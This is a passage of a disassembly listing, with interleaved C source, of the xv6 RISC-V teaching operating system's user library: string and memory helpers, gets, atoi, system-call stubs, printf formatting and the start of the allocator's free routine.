18c: 84850513 addi a0,a0,-1976 # 9d0 <malloc+0x182>
190: 00000097 auipc ra,0x0
194: 600080e7 jalr 1536(ra) # 790 <printf>
exit(0);
198: 4501 li a0,0
19a: 00000097 auipc ra,0x0
19e: 27e080e7 jalr 638(ra) # 418 <exit>
00000000000001a2 <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
1a2: 1141 addi sp,sp,-16
1a4: e422 sd s0,8(sp)
1a6: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
1a8: 87aa mv a5,a0
1aa: 0585 addi a1,a1,1
1ac: 0785 addi a5,a5,1
1ae: fff5c703 lbu a4,-1(a1)
1b2: fee78fa3 sb a4,-1(a5)
1b6: fb75 bnez a4,1aa <strcpy+0x8>
;
return os;
}
1b8: 6422 ld s0,8(sp)
1ba: 0141 addi sp,sp,16
1bc: 8082 ret
00000000000001be <strcmp>:
int
strcmp(const char *p, const char *q)
{
1be: 1141 addi sp,sp,-16
1c0: e422 sd s0,8(sp)
1c2: 0800 addi s0,sp,16
while(*p && *p == *q)
1c4: 00054783 lbu a5,0(a0)
1c8: cb91 beqz a5,1dc <strcmp+0x1e>
1ca: 0005c703 lbu a4,0(a1)
1ce: 00f71763 bne a4,a5,1dc <strcmp+0x1e>
p++, q++;
1d2: 0505 addi a0,a0,1
1d4: 0585 addi a1,a1,1
while(*p && *p == *q)
1d6: 00054783 lbu a5,0(a0)
1da: fbe5 bnez a5,1ca <strcmp+0xc>
return (uchar)*p - (uchar)*q;
1dc: 0005c503 lbu a0,0(a1)
}
1e0: 40a7853b subw a0,a5,a0
1e4: 6422 ld s0,8(sp)
1e6: 0141 addi sp,sp,16
1e8: 8082 ret
00000000000001ea <strlen>:
uint
strlen(const char *s)
{
1ea: 1141 addi sp,sp,-16
1ec: e422 sd s0,8(sp)
1ee: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
1f0: 00054783 lbu a5,0(a0)
1f4: cf91 beqz a5,210 <strlen+0x26>
1f6: 0505 addi a0,a0,1
1f8: 87aa mv a5,a0
1fa: 4685 li a3,1
1fc: 9e89 subw a3,a3,a0
1fe: 00f6853b addw a0,a3,a5
202: 0785 addi a5,a5,1
204: fff7c703 lbu a4,-1(a5)
208: fb7d bnez a4,1fe <strlen+0x14>
;
return n;
}
20a: 6422 ld s0,8(sp)
20c: 0141 addi sp,sp,16
20e: 8082 ret
for(n = 0; s[n]; n++)
210: 4501 li a0,0
212: bfe5 j 20a <strlen+0x20>
0000000000000214 <memset>:
void*
memset(void *dst, int c, uint n)
{
214: 1141 addi sp,sp,-16
216: e422 sd s0,8(sp)
218: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
21a: ce09 beqz a2,234 <memset+0x20>
21c: 87aa mv a5,a0
21e: fff6071b addiw a4,a2,-1
222: 1702 slli a4,a4,0x20
224: 9301 srli a4,a4,0x20
226: 0705 addi a4,a4,1
228: 972a add a4,a4,a0
cdst[i] = c;
22a: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
22e: 0785 addi a5,a5,1
230: fee79de3 bne a5,a4,22a <memset+0x16>
}
return dst;
}
234: 6422 ld s0,8(sp)
236: 0141 addi sp,sp,16
238: 8082 ret
000000000000023a <strchr>:
char*
strchr(const char *s, char c)
{
23a: 1141 addi sp,sp,-16
23c: e422 sd s0,8(sp)
23e: 0800 addi s0,sp,16
for(; *s; s++)
240: 00054783 lbu a5,0(a0)
244: cb99 beqz a5,25a <strchr+0x20>
if(*s == c)
246: 00f58763 beq a1,a5,254 <strchr+0x1a>
for(; *s; s++)
24a: 0505 addi a0,a0,1
24c: 00054783 lbu a5,0(a0)
250: fbfd bnez a5,246 <strchr+0xc>
return (char*)s;
return 0;
252: 4501 li a0,0
}
254: 6422 ld s0,8(sp)
256: 0141 addi sp,sp,16
258: 8082 ret
return 0;
25a: 4501 li a0,0
25c: bfe5 j 254 <strchr+0x1a>
000000000000025e <gets>:
char*
gets(char *buf, int max)
{
25e: 711d addi sp,sp,-96
260: ec86 sd ra,88(sp)
262: e8a2 sd s0,80(sp)
264: e4a6 sd s1,72(sp)
266: e0ca sd s2,64(sp)
268: fc4e sd s3,56(sp)
26a: f852 sd s4,48(sp)
26c: f456 sd s5,40(sp)
26e: f05a sd s6,32(sp)
270: ec5e sd s7,24(sp)
272: 1080 addi s0,sp,96
274: 8baa mv s7,a0
276: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
278: 892a mv s2,a0
27a: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
27c: 4aa9 li s5,10
27e: 4b35 li s6,13
for(i=0; i+1 < max; ){
280: 89a6 mv s3,s1
282: 2485 addiw s1,s1,1
284: 0344d863 bge s1,s4,2b4 <gets+0x56>
cc = read(0, &c, 1);
288: 4605 li a2,1
28a: faf40593 addi a1,s0,-81
28e: 4501 li a0,0
290: 00000097 auipc ra,0x0
294: 1a0080e7 jalr 416(ra) # 430 <read>
if(cc < 1)
298: 00a05e63 blez a0,2b4 <gets+0x56>
buf[i++] = c;
29c: faf44783 lbu a5,-81(s0)
2a0: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
2a4: 01578763 beq a5,s5,2b2 <gets+0x54>
2a8: 0905 addi s2,s2,1
2aa: fd679be3 bne a5,s6,280 <gets+0x22>
for(i=0; i+1 < max; ){
2ae: 89a6 mv s3,s1
2b0: a011 j 2b4 <gets+0x56>
2b2: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
2b4: 99de add s3,s3,s7
2b6: 00098023 sb zero,0(s3)
return buf;
}
2ba: 855e mv a0,s7
2bc: 60e6 ld ra,88(sp)
2be: 6446 ld s0,80(sp)
2c0: 64a6 ld s1,72(sp)
2c2: 6906 ld s2,64(sp)
2c4: 79e2 ld s3,56(sp)
2c6: 7a42 ld s4,48(sp)
2c8: 7aa2 ld s5,40(sp)
2ca: 7b02 ld s6,32(sp)
2cc: 6be2 ld s7,24(sp)
2ce: 6125 addi sp,sp,96
2d0: 8082 ret
00000000000002d2 <stat>:
int
stat(const char *n, struct stat *st)
{
2d2: 1101 addi sp,sp,-32
2d4: ec06 sd ra,24(sp)
2d6: e822 sd s0,16(sp)
2d8: e426 sd s1,8(sp)
2da: e04a sd s2,0(sp)
2dc: 1000 addi s0,sp,32
2de: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
2e0: 4581 li a1,0
2e2: 00000097 auipc ra,0x0
2e6: 176080e7 jalr 374(ra) # 458 <open>
if(fd < 0)
2ea: 02054563 bltz a0,314 <stat+0x42>
2ee: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
2f0: 85ca mv a1,s2
2f2: 00000097 auipc ra,0x0
2f6: 17e080e7 jalr 382(ra) # 470 <fstat>
2fa: 892a mv s2,a0
close(fd);
2fc: 8526 mv a0,s1
2fe: 00000097 auipc ra,0x0
302: 142080e7 jalr 322(ra) # 440 <close>
return r;
}
306: 854a mv a0,s2
308: 60e2 ld ra,24(sp)
30a: 6442 ld s0,16(sp)
30c: 64a2 ld s1,8(sp)
30e: 6902 ld s2,0(sp)
310: 6105 addi sp,sp,32
312: 8082 ret
return -1;
314: 597d li s2,-1
316: bfc5 j 306 <stat+0x34>
0000000000000318 <atoi>:
int
atoi(const char *s)
{
318: 1141 addi sp,sp,-16
31a: e422 sd s0,8(sp)
31c: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
31e: 00054603 lbu a2,0(a0)
322: fd06079b addiw a5,a2,-48
326: 0ff7f793 andi a5,a5,255
32a: 4725 li a4,9
32c: 02f76963 bltu a4,a5,35e <atoi+0x46>
330: 86aa mv a3,a0
n = 0;
332: 4501 li a0,0
while('0' <= *s && *s <= '9')
334: 45a5 li a1,9
n = n*10 + *s++ - '0';
336: 0685 addi a3,a3,1
338: 0025179b slliw a5,a0,0x2
33c: 9fa9 addw a5,a5,a0
33e: 0017979b slliw a5,a5,0x1
342: 9fb1 addw a5,a5,a2
344: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
348: 0006c603 lbu a2,0(a3)
34c: fd06071b addiw a4,a2,-48
350: 0ff77713 andi a4,a4,255
354: fee5f1e3 bgeu a1,a4,336 <atoi+0x1e>
return n;
}
358: 6422 ld s0,8(sp)
35a: 0141 addi sp,sp,16
35c: 8082 ret
n = 0;
35e: 4501 li a0,0
360: bfe5 j 358 <atoi+0x40>
0000000000000362 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
362: 1141 addi sp,sp,-16
364: e422 sd s0,8(sp)
366: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
368: 02b57663 bgeu a0,a1,394 <memmove+0x32>
while(n-- > 0)
36c: 02c05163 blez a2,38e <memmove+0x2c>
370: fff6079b addiw a5,a2,-1
374: 1782 slli a5,a5,0x20
376: 9381 srli a5,a5,0x20
378: 0785 addi a5,a5,1
37a: 97aa add a5,a5,a0
dst = vdst;
37c: 872a mv a4,a0
*dst++ = *src++;
37e: 0585 addi a1,a1,1
380: 0705 addi a4,a4,1
382: fff5c683 lbu a3,-1(a1)
386: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
38a: fee79ae3 bne a5,a4,37e <memmove+0x1c>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
38e: 6422 ld s0,8(sp)
390: 0141 addi sp,sp,16
392: 8082 ret
dst += n;
394: 00c50733 add a4,a0,a2
src += n;
398: 95b2 add a1,a1,a2
while(n-- > 0)
39a: fec05ae3 blez a2,38e <memmove+0x2c>
39e: fff6079b addiw a5,a2,-1
3a2: 1782 slli a5,a5,0x20
3a4: 9381 srli a5,a5,0x20
3a6: fff7c793 not a5,a5
3aa: 97ba add a5,a5,a4
*--dst = *--src;
3ac: 15fd addi a1,a1,-1
3ae: 177d addi a4,a4,-1
3b0: 0005c683 lbu a3,0(a1)
3b4: 00d70023 sb a3,0(a4)
while(n-- > 0)
3b8: fee79ae3 bne a5,a4,3ac <memmove+0x4a>
3bc: bfc9 j 38e <memmove+0x2c>
00000000000003be <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
3be: 1141 addi sp,sp,-16
3c0: e422 sd s0,8(sp)
3c2: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
3c4: ca05 beqz a2,3f4 <memcmp+0x36>
3c6: fff6069b addiw a3,a2,-1
3ca: 1682 slli a3,a3,0x20
3cc: 9281 srli a3,a3,0x20
3ce: 0685 addi a3,a3,1
3d0: 96aa add a3,a3,a0
if (*p1 != *p2) {
3d2: 00054783 lbu a5,0(a0)
3d6: 0005c703 lbu a4,0(a1)
3da: 00e79863 bne a5,a4,3ea <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
3de: 0505 addi a0,a0,1
p2++;
3e0: 0585 addi a1,a1,1
while (n-- > 0) {
3e2: fed518e3 bne a0,a3,3d2 <memcmp+0x14>
}
return 0;
3e6: 4501 li a0,0
3e8: a019 j 3ee <memcmp+0x30>
return *p1 - *p2;
3ea: 40e7853b subw a0,a5,a4
}
3ee: 6422 ld s0,8(sp)
3f0: 0141 addi sp,sp,16
3f2: 8082 ret
return 0;
3f4: 4501 li a0,0
3f6: bfe5 j 3ee <memcmp+0x30>
00000000000003f8 <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
3f8: 1141 addi sp,sp,-16
3fa: e406 sd ra,8(sp)
3fc: e022 sd s0,0(sp)
3fe: 0800 addi s0,sp,16
return memmove(dst, src, n);
400: 00000097 auipc ra,0x0
404: f62080e7 jalr -158(ra) # 362 <memmove>
}
408: 60a2 ld ra,8(sp)
40a: 6402 ld s0,0(sp)
40c: 0141 addi sp,sp,16
40e: 8082 ret
0000000000000410 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
410: 4885 li a7,1
ecall
412: 00000073 ecall
ret
416: 8082 ret
0000000000000418 <exit>:
.global exit
exit:
li a7, SYS_exit
418: 4889 li a7,2
ecall
41a: 00000073 ecall
ret
41e: 8082 ret
0000000000000420 <wait>:
.global wait
wait:
li a7, SYS_wait
420: 488d li a7,3
ecall
422: 00000073 ecall
ret
426: 8082 ret
0000000000000428 <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
428: 4891 li a7,4
ecall
42a: 00000073 ecall
ret
42e: 8082 ret
0000000000000430 <read>:
.global read
read:
li a7, SYS_read
430: 4895 li a7,5
ecall
432: 00000073 ecall
ret
436: 8082 ret
0000000000000438 <write>:
.global write
write:
li a7, SYS_write
438: 48c1 li a7,16
ecall
43a: 00000073 ecall
ret
43e: 8082 ret
0000000000000440 <close>:
.global close
close:
li a7, SYS_close
440: 48d5 li a7,21
ecall
442: 00000073 ecall
ret
446: 8082 ret
0000000000000448 <kill>:
.global kill
kill:
li a7, SYS_kill
448: 4899 li a7,6
ecall
44a: 00000073 ecall
ret
44e: 8082 ret
0000000000000450 <exec>:
.global exec
exec:
li a7, SYS_exec
450: 489d li a7,7
ecall
452: 00000073 ecall
ret
456: 8082 ret
0000000000000458 <open>:
.global open
open:
li a7, SYS_open
458: 48bd li a7,15
ecall
45a: 00000073 ecall
ret
45e: 8082 ret
0000000000000460 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
460: 48c5 li a7,17
ecall
462: 00000073 ecall
ret
466: 8082 ret
0000000000000468 <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
468: 48c9 li a7,18
ecall
46a: 00000073 ecall
ret
46e: 8082 ret
0000000000000470 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
470: 48a1 li a7,8
ecall
472: 00000073 ecall
ret
476: 8082 ret
0000000000000478 <link>:
.global link
link:
li a7, SYS_link
478: 48cd li a7,19
ecall
47a: 00000073 ecall
ret
47e: 8082 ret
0000000000000480 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
480: 48d1 li a7,20
ecall
482: 00000073 ecall
ret
486: 8082 ret
0000000000000488 <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
488: 48a5 li a7,9
ecall
48a: 00000073 ecall
ret
48e: 8082 ret
0000000000000490 <dup>:
.global dup
dup:
li a7, SYS_dup
490: 48a9 li a7,10
ecall
492: 00000073 ecall
ret
496: 8082 ret
0000000000000498 <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
498: 48ad li a7,11
ecall
49a: 00000073 ecall
ret
49e: 8082 ret
00000000000004a0 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
4a0: 48b1 li a7,12
ecall
4a2: 00000073 ecall
ret
4a6: 8082 ret
00000000000004a8 <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
4a8: 48b5 li a7,13
ecall
4aa: 00000073 ecall
ret
4ae: 8082 ret
00000000000004b0 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
4b0: 48b9 li a7,14
ecall
4b2: 00000073 ecall
ret
4b6: 8082 ret
00000000000004b8 <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
4b8: 1101 addi sp,sp,-32
4ba: ec06 sd ra,24(sp)
4bc: e822 sd s0,16(sp)
4be: 1000 addi s0,sp,32
4c0: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
4c4: 4605 li a2,1
4c6: fef40593 addi a1,s0,-17
4ca: 00000097 auipc ra,0x0
4ce: f6e080e7 jalr -146(ra) # 438 <write>
}
4d2: 60e2 ld ra,24(sp)
4d4: 6442 ld s0,16(sp)
4d6: 6105 addi sp,sp,32
4d8: 8082 ret
00000000000004da <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
4da: 7139 addi sp,sp,-64
4dc: fc06 sd ra,56(sp)
4de: f822 sd s0,48(sp)
4e0: f426 sd s1,40(sp)
4e2: f04a sd s2,32(sp)
4e4: ec4e sd s3,24(sp)
4e6: 0080 addi s0,sp,64
4e8: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
4ea: c299 beqz a3,4f0 <printint+0x16>
4ec: 0805c863 bltz a1,57c <printint+0xa2>
neg = 1;
x = -xx;
} else {
x = xx;
4f0: 2581 sext.w a1,a1
neg = 0;
4f2: 4881 li a7,0
4f4: fc040693 addi a3,s0,-64
}
i = 0;
4f8: 4701 li a4,0
do{
buf[i++] = digits[x % base];
4fa: 2601 sext.w a2,a2
4fc: 00000517 auipc a0,0x0
500: 4f450513 addi a0,a0,1268 # 9f0 <digits>
504: 883a mv a6,a4
506: 2705 addiw a4,a4,1
508: 02c5f7bb remuw a5,a1,a2
50c: 1782 slli a5,a5,0x20
50e: 9381 srli a5,a5,0x20
510: 97aa add a5,a5,a0
512: 0007c783 lbu a5,0(a5)
516: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
51a: 0005879b sext.w a5,a1
51e: 02c5d5bb divuw a1,a1,a2
522: 0685 addi a3,a3,1
524: fec7f0e3 bgeu a5,a2,504 <printint+0x2a>
if(neg)
528: 00088b63 beqz a7,53e <printint+0x64>
buf[i++] = '-';
52c: fd040793 addi a5,s0,-48
530: 973e add a4,a4,a5
532: 02d00793 li a5,45
536: fef70823 sb a5,-16(a4)
53a: 0028071b addiw a4,a6,2
while(--i >= 0)
53e: 02e05863 blez a4,56e <printint+0x94>
542: fc040793 addi a5,s0,-64
546: 00e78933 add s2,a5,a4
54a: fff78993 addi s3,a5,-1
54e: 99ba add s3,s3,a4
550: 377d addiw a4,a4,-1
552: 1702 slli a4,a4,0x20
554: 9301 srli a4,a4,0x20
556: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
55a: fff94583 lbu a1,-1(s2)
55e: 8526 mv a0,s1
560: 00000097 auipc ra,0x0
564: f58080e7 jalr -168(ra) # 4b8 <putc>
while(--i >= 0)
568: 197d addi s2,s2,-1
56a: ff3918e3 bne s2,s3,55a <printint+0x80>
}
56e: 70e2 ld ra,56(sp)
570: 7442 ld s0,48(sp)
572: 74a2 ld s1,40(sp)
574: 7902 ld s2,32(sp)
576: 69e2 ld s3,24(sp)
578: 6121 addi sp,sp,64
57a: 8082 ret
x = -xx;
57c: 40b005bb negw a1,a1
neg = 1;
580: 4885 li a7,1
x = -xx;
582: bf8d j 4f4 <printint+0x1a>
0000000000000584 <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
584: 7119 addi sp,sp,-128
586: fc86 sd ra,120(sp)
588: f8a2 sd s0,112(sp)
58a: f4a6 sd s1,104(sp)
58c: f0ca sd s2,96(sp)
58e: ecce sd s3,88(sp)
590: e8d2 sd s4,80(sp)
592: e4d6 sd s5,72(sp)
594: e0da sd s6,64(sp)
596: fc5e sd s7,56(sp)
598: f862 sd s8,48(sp)
59a: f466 sd s9,40(sp)
59c: f06a sd s10,32(sp)
59e: ec6e sd s11,24(sp)
5a0: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
5a2: 0005c903 lbu s2,0(a1)
5a6: 18090f63 beqz s2,744 <vprintf+0x1c0>
5aa: 8aaa mv s5,a0
5ac: 8b32 mv s6,a2
5ae: 00158493 addi s1,a1,1
state = 0;
5b2: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
5b4: 02500a13 li s4,37
if(c == 'd'){
5b8: 06400c13 li s8,100
printint(fd, va_arg(ap, int), 10, 1);
} else if(c == 'l') {
5bc: 06c00c93 li s9,108
printint(fd, va_arg(ap, uint64), 10, 0);
} else if(c == 'x') {
5c0: 07800d13 li s10,120
printint(fd, va_arg(ap, int), 16, 0);
} else if(c == 'p') {
5c4: 07000d93 li s11,112
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
5c8: 00000b97 auipc s7,0x0
5cc: 428b8b93 addi s7,s7,1064 # 9f0 <digits>
5d0: a839 j 5ee <vprintf+0x6a>
putc(fd, c);
5d2: 85ca mv a1,s2
5d4: 8556 mv a0,s5
5d6: 00000097 auipc ra,0x0
5da: ee2080e7 jalr -286(ra) # 4b8 <putc>
5de: a019 j 5e4 <vprintf+0x60>
} else if(state == '%'){
5e0: 01498f63 beq s3,s4,5fe <vprintf+0x7a>
for(i = 0; fmt[i]; i++){
5e4: 0485 addi s1,s1,1
5e6: fff4c903 lbu s2,-1(s1)
5ea: 14090d63 beqz s2,744 <vprintf+0x1c0>
c = fmt[i] & 0xff;
5ee: 0009079b sext.w a5,s2
if(state == 0){
5f2: fe0997e3 bnez s3,5e0 <vprintf+0x5c>
if(c == '%'){
5f6: fd479ee3 bne a5,s4,5d2 <vprintf+0x4e>
state = '%';
5fa: 89be mv s3,a5
5fc: b7e5 j 5e4 <vprintf+0x60>
if(c == 'd'){
5fe: 05878063 beq a5,s8,63e <vprintf+0xba>
} else if(c == 'l') {
602: 05978c63 beq a5,s9,65a <vprintf+0xd6>
} else if(c == 'x') {
606: 07a78863 beq a5,s10,676 <vprintf+0xf2>
} else if(c == 'p') {
60a: 09b78463 beq a5,s11,692 <vprintf+0x10e>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
60e: 07300713 li a4,115
612: 0ce78663 beq a5,a4,6de <vprintf+0x15a>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
616: 06300713 li a4,99
61a: 0ee78e63 beq a5,a4,716 <vprintf+0x192>
putc(fd, va_arg(ap, uint));
} else if(c == '%'){
61e: 11478863 beq a5,s4,72e <vprintf+0x1aa>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
622: 85d2 mv a1,s4
624: 8556 mv a0,s5
626: 00000097 auipc ra,0x0
62a: e92080e7 jalr -366(ra) # 4b8 <putc>
putc(fd, c);
62e: 85ca mv a1,s2
630: 8556 mv a0,s5
632: 00000097 auipc ra,0x0
636: e86080e7 jalr -378(ra) # 4b8 <putc>
}
state = 0;
63a: 4981 li s3,0
63c: b765 j 5e4 <vprintf+0x60>
printint(fd, va_arg(ap, int), 10, 1);
63e: 008b0913 addi s2,s6,8
642: 4685 li a3,1
644: 4629 li a2,10
646: 000b2583 lw a1,0(s6)
64a: 8556 mv a0,s5
64c: 00000097 auipc ra,0x0
650: e8e080e7 jalr -370(ra) # 4da <printint>
654: 8b4a mv s6,s2
state = 0;
656: 4981 li s3,0
658: b771 j 5e4 <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
65a: 008b0913 addi s2,s6,8
65e: 4681 li a3,0
660: 4629 li a2,10
662: 000b2583 lw a1,0(s6)
666: 8556 mv a0,s5
668: 00000097 auipc ra,0x0
66c: e72080e7 jalr -398(ra) # 4da <printint>
670: 8b4a mv s6,s2
state = 0;
672: 4981 li s3,0
674: bf85 j 5e4 <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
676: 008b0913 addi s2,s6,8
67a: 4681 li a3,0
67c: 4641 li a2,16
67e: 000b2583 lw a1,0(s6)
682: 8556 mv a0,s5
684: 00000097 auipc ra,0x0
688: e56080e7 jalr -426(ra) # 4da <printint>
68c: 8b4a mv s6,s2
state = 0;
68e: 4981 li s3,0
690: bf91 j 5e4 <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
692: 008b0793 addi a5,s6,8
696: f8f43423 sd a5,-120(s0)
69a: 000b3983 ld s3,0(s6)
putc(fd, '0');
69e: 03000593 li a1,48
6a2: 8556 mv a0,s5
6a4: 00000097 auipc ra,0x0
6a8: e14080e7 jalr -492(ra) # 4b8 <putc>
putc(fd, 'x');
6ac: 85ea mv a1,s10
6ae: 8556 mv a0,s5
6b0: 00000097 auipc ra,0x0
6b4: e08080e7 jalr -504(ra) # 4b8 <putc>
6b8: 4941 li s2,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
6ba: 03c9d793 srli a5,s3,0x3c
6be: 97de add a5,a5,s7
6c0: 0007c583 lbu a1,0(a5)
6c4: 8556 mv a0,s5
6c6: 00000097 auipc ra,0x0
6ca: df2080e7 jalr -526(ra) # 4b8 <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
6ce: 0992 slli s3,s3,0x4
6d0: 397d addiw s2,s2,-1
6d2: fe0914e3 bnez s2,6ba <vprintf+0x136>
printptr(fd, va_arg(ap, uint64));
6d6: f8843b03 ld s6,-120(s0)
state = 0;
6da: 4981 li s3,0
6dc: b721 j 5e4 <vprintf+0x60>
s = va_arg(ap, char*);
6de: 008b0993 addi s3,s6,8
6e2: 000b3903 ld s2,0(s6)
if(s == 0)
6e6: 02090163 beqz s2,708 <vprintf+0x184>
while(*s != 0){
6ea: 00094583 lbu a1,0(s2)
6ee: c9a1 beqz a1,73e <vprintf+0x1ba>
putc(fd, *s);
6f0: 8556 mv a0,s5
6f2: 00000097 auipc ra,0x0
6f6: dc6080e7 jalr -570(ra) # 4b8 <putc>
s++;
6fa: 0905 addi s2,s2,1
while(*s != 0){
6fc: 00094583 lbu a1,0(s2)
700: f9e5 bnez a1,6f0 <vprintf+0x16c>
s = va_arg(ap, char*);
702: 8b4e mv s6,s3
state = 0;
704: 4981 li s3,0
706: bdf9 j 5e4 <vprintf+0x60>
s = "(null)";
708: 00000917 auipc s2,0x0
70c: 2e090913 addi s2,s2,736 # 9e8 <malloc+0x19a>
while(*s != 0){
710: 02800593 li a1,40
714: bff1 j 6f0 <vprintf+0x16c>
putc(fd, va_arg(ap, uint));
716: 008b0913 addi s2,s6,8
71a: 000b4583 lbu a1,0(s6)
71e: 8556 mv a0,s5
720: 00000097 auipc ra,0x0
724: d98080e7 jalr -616(ra) # 4b8 <putc>
728: 8b4a mv s6,s2
state = 0;
72a: 4981 li s3,0
72c: bd65 j 5e4 <vprintf+0x60>
putc(fd, c);
72e: 85d2 mv a1,s4
730: 8556 mv a0,s5
732: 00000097 auipc ra,0x0
736: d86080e7 jalr -634(ra) # 4b8 <putc>
state = 0;
73a: 4981 li s3,0
73c: b565 j 5e4 <vprintf+0x60>
s = va_arg(ap, char*);
73e: 8b4e mv s6,s3
state = 0;
740: 4981 li s3,0
742: b54d j 5e4 <vprintf+0x60>
}
}
}
744: 70e6 ld ra,120(sp)
746: 7446 ld s0,112(sp)
748: 74a6 ld s1,104(sp)
74a: 7906 ld s2,96(sp)
74c: 69e6 ld s3,88(sp)
74e: 6a46 ld s4,80(sp)
750: 6aa6 ld s5,72(sp)
752: 6b06 ld s6,64(sp)
754: 7be2 ld s7,56(sp)
756: 7c42 ld s8,48(sp)
758: 7ca2 ld s9,40(sp)
75a: 7d02 ld s10,32(sp)
75c: 6de2 ld s11,24(sp)
75e: 6109 addi sp,sp,128
760: 8082 ret
0000000000000762 <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
762: 715d addi sp,sp,-80
764: ec06 sd ra,24(sp)
766: e822 sd s0,16(sp)
768: 1000 addi s0,sp,32
76a: e010 sd a2,0(s0)
76c: e414 sd a3,8(s0)
76e: e818 sd a4,16(s0)
770: ec1c sd a5,24(s0)
772: 03043023 sd a6,32(s0)
776: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
77a: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
77e: 8622 mv a2,s0
780: 00000097 auipc ra,0x0
784: e04080e7 jalr -508(ra) # 584 <vprintf>
}
788: 60e2 ld ra,24(sp)
78a: 6442 ld s0,16(sp)
78c: 6161 addi sp,sp,80
78e: 8082 ret
0000000000000790 <printf>:
void
printf(const char *fmt, ...)
{
790: 711d addi sp,sp,-96
792: ec06 sd ra,24(sp)
794: e822 sd s0,16(sp)
796: 1000 addi s0,sp,32
798: e40c sd a1,8(s0)
79a: e810 sd a2,16(s0)
79c: ec14 sd a3,24(s0)
79e: f018 sd a4,32(s0)
7a0: f41c sd a5,40(s0)
7a2: 03043823 sd a6,48(s0)
7a6: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
7aa: 00840613 addi a2,s0,8
7ae: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
7b2: 85aa mv a1,a0
7b4: 4505 li a0,1
7b6: 00000097 auipc ra,0x0
7ba: dce080e7 jalr -562(ra) # 584 <vprintf>
}
7be: 60e2 ld ra,24(sp)
7c0: 6442 ld s0,16(sp)
7c2: 6125 addi sp,sp,96
7c4: 8082 ret
00000000000007c6 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
7c6: 1141 addi sp,sp,-16
7c8: e422 sd s0,8(sp)
7ca: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
7cc: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7d0: 00000797 auipc a5,0x0
7d4: 2387b783 ld a5,568(a5) # a08 <freep>
7d8: a805 j 808 <free+0x42>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
7da: 4618 lw a4,8(a2)
7dc: 9db9 addw a1,a1,a4
7de: feb52c23 sw a1,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
7e2: 6398 ld a4,0(a5)
7e4: 6318 ld a4,0(a4)
7e6: fee53823 sd a4,-16(a0)
7ea: a091 j 82e <free+0x68>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
7ec: ff852703 lw a4,-8(a0)
7f0: 9e39 addw a2,a2,a4
7f2: c790 sw a2,8(a5)
p->s.ptr = bp->s.ptr;
